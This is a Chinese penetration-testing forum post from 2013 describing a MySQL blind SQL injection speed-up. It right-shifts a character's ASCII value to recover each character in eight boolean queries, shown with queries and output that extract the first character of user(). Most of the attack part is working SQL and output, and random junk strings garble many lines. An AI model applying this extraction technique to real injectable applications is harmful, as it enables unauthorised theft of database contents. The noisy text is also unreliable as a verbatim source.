中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位) L) j2 [2 Z! j7 U' y; }# Y
- q  }# Y' e5 M4 s" {
' B/ R8 P4 ]9 I

1 \2 t, R6 ]/ k% |- R9 Z/ ?下面将以查询mysql数据库当中user()的第一位为例:& Q/ v7 }/ S' I( l2 m

- v2 H+ O6 r' i4 |7 R# V ; _! P9 I/ n/ C! i6 e" s; p+ R
/ k# ~) ~) u1 L, ~" r+ U
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
/ f; c# T9 H/ R7 ^8 j- B! F9 X5 ^0 D1 a0 W! F, N: H

# Z; S9 v  o$ V9 K  ?( U. O
3 k" ]4 A6 j+ ?首先执行如下sql语句:  R/ ~: f, h/ R
/ C# V& N+ t+ L# S; U, z* H
% R' T$ J# N; s. v6 m" m( J  l  ~9 `7 {

7 x! }" e* z! O1 c& ?# h5 Mmysql> select (ascii((substr(user(),1,1))) >> 7)=0;9 S. m" _# |  Z* j
9 \+ h3 a, I; Y3 l% n7 Z- S

$ L- u( j$ ]! B/ S' C# Y# u  \% H# O5 j7 ~
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的! ]1 H" ^) w# m; z; M0 G0 X- [2 Q
7 c6 _* R8 w- J2 m5 g, j

: B- Y7 M  G8 Z7 @& n
4 ~3 K' V0 H# `. P/ w第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
& b1 O0 ]+ B/ ?1 V0 A
$ E9 u; H- f. w) c: }
% k% {. K( N0 I  C! o/ h  q
7 O- A" Z/ o$ n- \& _7 F3 [如果运算结果为1,说明第一位为0,不为1
5 m0 n; g! D; z' j% K0 K
3 j+ ]7 E% B* r' e" I0 d 7 |- G3 I5 r$ ~7 C) s; p, u0 ?  C! w

; N' V; N3 j& p+————————————–+/ Q3 ]4 L4 `  g8 \/ s( d
; v3 s5 T/ R( I& n5 [% p
| (ascii((substr(user(),1,1))) >> 7)=0 |0 L$ Z1 d! D, c- W2 @

5 }6 k2 {. ]$ b& i- x% O+ }* h+ W# ?+————————————–+
! C9 f& [& \" p8 ?5 t8 l, V( o) A. A& i$ s6 N) n
| 1 |. }# ?1 P) U9 n) |

4 ~' T6 P3 S+ _+————————————–+
% @' u, v; k( P1 R; s
( G. W1 b7 H# N4 m# N* D1 row in set (0.00 sec)5 h3 X8 ], V6 O/ s, u# N1 h

; z' F7 g2 b7 Y. p. r, a- ]) J, @这样我们就确定这个8bit的ascii的第一位为0" [# y1 p$ b: t' e4 z* p

7 i6 x4 |6 _( b
3 [3 C: v1 q8 I9 b$ k: F3 B# K
9 a' O( m8 n7 F0 o* O6 n1 ~第二次我们来做6次右偏移来确定前两位
$ _3 m$ o9 R' c) A* ?4 C2 L: _4 s- `) i7 M% [: `5 W9 `1 c

) X4 Y! l  h, h; F5 x0 Q; K! y. K. ^5 \; a/ U- C
前两位可能是01或00,即依然可以与0做比较,. D" `6 T$ ~; d# l, O: y

3 x7 {6 D4 Z, i* [! n2 H6 I; mmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
. U  |/ g: Z( m; `/ b0 a2 L8 t" m5 b% @  t: @& X- D6 ?
+————————————–+! ^/ {( G  _7 t

6 w0 ^$ m7 I. N7 o| (ascii((substr(user(),1,1))) >> 6)=0 |; L2 A8 F% e! T; X* m9 h+ S
; y7 z7 R* g# s" Y: r7 c3 |
+————————————–+' d* M8 }3 D$ I# Y9 y  u1 X' L
/ j' W  E7 w# P, n6 `0 |1 v( J' N
| 0 |9 C$ ]4 T4 ]( M3 o. Y
7 S4 t1 Z& l+ n$ F% Y
+————————————–+- |5 R3 U- m2 {" M

  Z3 z  |3 B7 d1 a' W  L; O1 row in set (0.00 sec)! ]  v) T1 m9 Y  h' Z3 ]) M, o& F0 F( p

  r8 {/ y. F8 V$ }
* x% j# H8 Y8 a+ D  P" T* {. Q( ~$ L
结果为0,即第二位为1
9 o' c2 L9 h' {; V9 ?: W& S) s  J5 L, q3 q

! l0 N1 i+ S# V9 H+ s1 n9 O' V5 v* x  d
开始猜测前三位为010或011
8 x9 Q9 ~+ G, E- H( a7 f( D9 E/ A( D3 F3 b* M2 O: _) E

/ d8 t+ h5 T# Z: b
6 f0 w  J4 g8 ~让我们看看010和011的ascii码是多少& y2 o  w/ V4 \( ^. d, l1 i% C: x

5 T! j; f0 r. l" u. `7 _2 V
3 ^* j& _4 q3 D) f3 q' n9 q  l1 U4 v2 ?+ \
分别查询select b’011′ select b’010′
2 X5 n2 h2 U; s  m
2 l% f% ]/ N% b, \! z ) F* Z' w. N% ?: z

& d4 B% b' o" o' I% d# J获得结果 010 = 2 011 = 31 h  k2 r( b7 t' ?9 A" u
- L; T9 e; B" y* v* v

( Z( P& H: |2 H) {+ M
" f/ X- k" F9 }9 U! ?3 P% _! g执行如下sql:/ ]  ?. p2 }. [0 Y" L1 Y6 C# O
4 _0 q9 ~$ l- \" h) N2 i

2 ], B4 S# Z) h/ D
! q0 e5 k  Y; }6 ]3 K  n0 [& Tmysql> select (ascii((substr(user(),1,1))) >> 5)=2;) K% Y4 m, [8 o" F

; |# B) h5 h/ u/ R& ?; j2 M+————————————–+* Z$ q/ y' M4 E& x6 y
4 _: W5 f. {, Q3 L% Q2 B! k
| (ascii((substr(user(),1,1))) >> 5)=2 |2 v& I  f8 w" w
2 b' \# \7 }$ s; \
+————————————–+
& a  t0 z7 d; a/ B, |; I& l8 a$ u, }4 n# O* F6 u  e' i; H: _
| 0 |4 M, @8 q! u8 T- @
# V& _  u9 J) F& i& S+ k
+————————————–+
+ J) |" A  j7 h3 m8 m$ ^3 v, k8 ~& ]+ y# M$ S$ k
即前三位不为010,而是0117 C, L: Y8 K7 k, J* o
6 D$ V+ U  H! o5 w6 |
3 \( G- ]! e/ |7 y3 T3 U" ^
" s7 W# J' j% }! A
直到获得最后一位8 O) ~1 R1 s# s. C! d
0 a. ?7 G+ O( |9 g
0 n0 h% q2 y+ H' d

3 f7 K# ]5 G$ {% T- @最终结果为:01110010
4 b! R, M: H0 @7 y9 C
5 |; {7 @4 C* M1 m, p
1 f0 y, I' _0 \; ~9 b) I+ B/ I" q6 q, f$ a# x( [
转换一下:) X6 L% T% E  j/ {7 z& A
$ ]( S9 J2 N& D$ S
: j( Y2 ~4 q% i3 e5 E$ U8 ^
! u& |1 d- [, N
select b’01110010′
; y/ `. T0 t% X+ b+ b: X( E3 C$ k- d) Z" o9 S/ k5 ?0 [
  d# r! n- y* j

# C6 e6 E) }: p2 ^查询结果- {: n3 m/ m/ }6 [; t, v
" c) x/ Z* ?# G1 d

9 U+ y2 l- z8 A0 N- G, [: l* e0 n+ g8 s5 J( ~: u  D! \- v
+————-+6 c8 ~5 A! o+ a3 k: R/ p

; H! g' v! Z2 p| b’01110010′ |
/ }: _) G6 A" l
( _. L* ^6 ]% ~8 M+————-+7 X1 `& i) Q- W) I& ^! r- z
" }* ]" X/ ^7 w) r% n
| r |' s! H: D1 X0 `) `- _  w

6 V0 C4 B( Z6 q: R* p+————-+
$ Y0 t& z" ~. P2 v$ z. A2 b
+ B1 @2 N) u% l+ g8 T0 |  z1 row in set (0.00 sec)
3 v2 X/ b1 O3 E% w& c7 I" \  }
  @% }* M( @/ W0 U3 H + l* [+ q2 W9 U, X) }

9 ]! p/ _; \/ V2 N* J这样我们就获得了user()的第一位.其它位依此类推
/ t" Z& c: H8 r# P1 g* G- w6 Z  O! G; J1 D# K





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2